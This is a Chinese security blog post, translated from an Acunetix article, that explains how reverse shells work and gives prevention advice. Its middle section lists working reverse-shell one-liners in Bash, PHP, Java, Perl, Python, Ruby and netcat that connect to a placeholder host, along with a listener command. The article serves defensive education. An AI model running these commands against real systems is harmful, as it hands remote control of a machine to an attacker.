什么是反弹shell

admin 2023年2月24日09:12:53评论82 views字数 2391阅读7分58秒阅读模式

介绍反弹shell的原理,列举各种创建反弹shell的方法,以及防护建议。

译自https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/

要控制一个被入侵系统,攻击者经常希望获取一个交互式的shell访问执行任意命令。通过这种访问,他们可以提升权限来控制整个操作系统。不过,大多系统都在防火墙后面,直接远程的shell连接是不可能的。其中一种突破这种限制的方法是反弹shell

反弹shell如何工作

一个典型远程访问场景,用户是客户端,目标机器是服务端。用户发起一个远程shell连接,目标系统监听这样的连接。在反弹shell,这样角色倒换过来,目标机器发起连接到用户,用户电脑在特定端口监听连接。

攻击者经常使用反弹shell的主要原因是,大多数防火墙是可配置的。被攻击服务器经常允许在某些端口连接。比如,一个专用的web服务器只会接受从80,443的连接,意味着无法在被攻击服务器建立shell的连接监听。另一方面,防火墙却不限制出口连接。由此,一个攻击者可以在自己机器建立一个服务器来创建反向连接。一个攻击者只需要一台有公网IP的机器和一个可以创建shell监听的工具,如netcat

反弹shell例子

使用各种工具或语言来创建反弹shell是一件很简单的事情。首先,你需要在有公网IP的机器创建一个监听服务。比如在Linux下,你可以用netcat这样做

ncat -l -p 1337

假设你的机器是10.10.17.1,监听在1337 TCP端口。

下面都是一句话在目标机器创建反弹shell

  • Bash反弹shell
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
  • PHP反弹`shell
php -r '$sock=fsockopen("10.10.17.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Java反弹shell
r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) 

p.waitFor()
  • Perl反弹shell
perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.17.1","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

ruby -rsocket -e'f=TCPSocket.open("10.10.17.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • Netcat反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • 更多反弹shell

请详见这个列表https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

预防

通常,反弹shell本身不是恶意的,也可以用于合法目的,例如,用于远程服务器管理。如果不需要使用反弹shell,可以尝试限制创建它们的可能性,但这非常困难:

  • 您可以对外连实施严格控制。但是,这仅适用于非常专业的服务器。而且没有任何东西可以阻止攻击者在公共端口(如80)上打开监听程序。在这种情况下,还必须监视所有连接的内容。

  • 您可以禁用大多数创建反弹shell的工具,但同样,这仅适用于非常专用的服务器。正如您在上面看到的,可以使用不同的工具和语言创建反弹shell`。因此,您可能会使攻击者更加困难,但并非不可能。

即使您成功避免了反弹shell,攻击者也可以使用其他方法来建立对系统的控制。例如,在某些情况下,他们可能会使用web shell。反弹shell本身始终是某种其他类型攻击的结果,例如SQL注入攻击。因此,避免反弹shell的最好方法是首先防范允许获得Shell访问权限的攻击。


请关注

后在对话框输入

暗号:be4f1

原文始发于微信公众号(奶牛安全):什么是反弹shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月24日09:12:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   什么是反弹shellhttp://cn-sec.com/archives/1570550.html

发表评论

匿名网友 填写信息